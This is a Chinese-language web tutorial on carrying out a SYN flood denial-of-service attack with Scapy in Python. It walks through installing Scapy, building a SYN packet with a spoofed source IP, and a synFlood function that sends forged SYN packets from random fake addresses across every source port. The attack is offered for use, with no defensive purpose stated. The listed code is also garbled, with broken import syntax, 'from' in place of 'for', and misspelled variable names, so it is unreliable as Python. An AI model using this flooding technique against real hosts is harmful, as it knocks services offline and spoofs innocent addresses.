溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊(cè)×
其他方式登錄
點(diǎn)擊 登錄注冊(cè) 即表示同意《億速云用戶(hù)服務(wù)條款》

Python項(xiàng)目中基于Scapy如何實(shí)現(xiàn)SYN泛洪攻擊

發(fā)布時(shí)間:2021-08-07 09:39:03 來(lái)源:億速云 閱讀:221 作者:小新 欄目:開(kāi)發(fā)技術(shù)

這篇文章主要為大家展示了“Python項(xiàng)目中基于Scapy如何實(shí)現(xiàn)SYN泛洪攻擊”,內(nèi)容簡(jiǎn)而易懂,條理清晰,希望能夠幫助大家解決疑惑,下面讓小編帶領(lǐng)大家一起研究并學(xué)習(xí)一下“Python項(xiàng)目中基于Scapy如何實(shí)現(xiàn)SYN泛洪攻擊”這篇文章吧。

python3版本的Scapy--Scapy3k來(lái)實(shí)現(xiàn)一個(gè)簡(jiǎn)單的DDos。

首先實(shí)現(xiàn)SYN泛洪攻擊(SYN Flood,是一直常用的DOS方式之一,通過(guò)發(fā)送大量偽造的TCP連接請(qǐng)求,使被攻擊主機(jī)資源耗盡的攻擊方式)。TCP三次握手的過(guò)程在這里就不再贅述,SYN攻擊則是客戶(hù)端向服務(wù)器發(fā)送SYN報(bào)文之后就不再響應(yīng)服務(wù)器回應(yīng)的報(bào)文,由于服務(wù)器在處理TCP請(qǐng)求時(shí),會(huì)在協(xié)議棧留一塊緩沖區(qū)來(lái)存儲(chǔ)握手的過(guò)程,如果超過(guò)一定的時(shí)間沒(méi)有接收到客戶(hù)端的報(bào)文,那么本次連接在協(xié)議棧中存儲(chǔ)的數(shù)據(jù)就會(huì)被丟棄。攻擊者如果利用這段時(shí)間發(fā)送了大量的連接請(qǐng)求,全部掛起在半連接狀態(tài),這樣將不斷消耗服務(wù)器資源,直到拒接服務(wù)。

Scapy是一個(gè)強(qiáng)大的交互式數(shù)據(jù)包處理程序,可以用來(lái)發(fā)送、嗅探、解析和偽造網(wǎng)絡(luò)數(shù)據(jù)包。首先需要安裝Scapy3k:

sudo pip3 install scapy-python3

Python項(xiàng)目中基于Scapy如何實(shí)現(xiàn)SYN泛洪攻擊

現(xiàn)在學(xué)習(xí)一下scapy的使用方法:

sudo scapy(scapy發(fā)送數(shù)據(jù)包需要root權(quán)限)

Python項(xiàng)目中基于Scapy如何實(shí)現(xiàn)SYN泛洪攻擊

(警告信息是因?yàn)橛幸恍┮蕾?lài)包沒(méi)有安裝,但是我們本次實(shí)驗(yàn)不需要使用我就不裝了)

現(xiàn)在我們使用Scapy構(gòu)造一個(gè)簡(jiǎn)單的數(shù)據(jù)包看一下:

pkt = IP(dst = "192.168.0.10")

Python項(xiàng)目中基于Scapy如何實(shí)現(xiàn)SYN泛洪攻擊

接下來(lái)我們就構(gòu)造一個(gè)SYN包:

pkt = IP(src="202.121.0.12",dst="192.168.0.100")/TCP(dport=80,flags="S")

Python項(xiàng)目中基于Scapy如何實(shí)現(xiàn)SYN泛洪攻擊

(我們構(gòu)造了一個(gè)IP包和TCP包并將它們組合到一塊,這樣就有了一個(gè)完整的TCP數(shù)據(jù)包,否則是無(wú)法發(fā)送出去的,IP包中我)們指定了源IP地址src和目的IP地址dst,其中src是我們偽造的地址,flags的值設(shè)定為S說(shuō)明要發(fā)送的是SYN數(shù)據(jù)包)

代碼實(shí)現(xiàn):

具體代碼如下:

import random
import scapy.all import *
 
def synFlood(tgt,dPort):
  srcList = ['201.1.1.2','10.1.1.102','69.1.1.2','125.130.5.199']
  from sPort in range(1-24,65535):
    index = random.randrange(4)
    ipLayer = IP(stc = stcList[index].dst = tgt)
    tcoLayer = TCP(sport = sPort,dport = dPort,flags = "S")
    packet = ipLayer/tcpLayer
    send(packet)

定義了srcList用于存放偽造的IP地址,之后定義了一個(gè)循環(huán),作用是每次發(fā)送數(shù)據(jù)包源端口都改變,可以看到在構(gòu)造TCP數(shù)據(jù)包的時(shí)候我們?cè)黾恿艘粋€(gè)參數(shù)sport,循環(huán)中改變的端口號(hào)就是給了sport這個(gè)參數(shù)。我們還調(diào)用random.randrange()函數(shù)來(lái)隨機(jī)從srcList中獲取一個(gè)偽造的IP地址。

以上是“Python項(xiàng)目中基于Scapy如何實(shí)現(xiàn)SYN泛洪攻擊”這篇文章的所有內(nèi)容,感謝各位的閱讀!相信大家都有了一定的了解,希望分享的內(nèi)容對(duì)大家有所幫助,如果還想學(xué)習(xí)更多知識(shí),歡迎關(guān)注億速云行業(yè)資訊頻道!

向AI問(wèn)一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI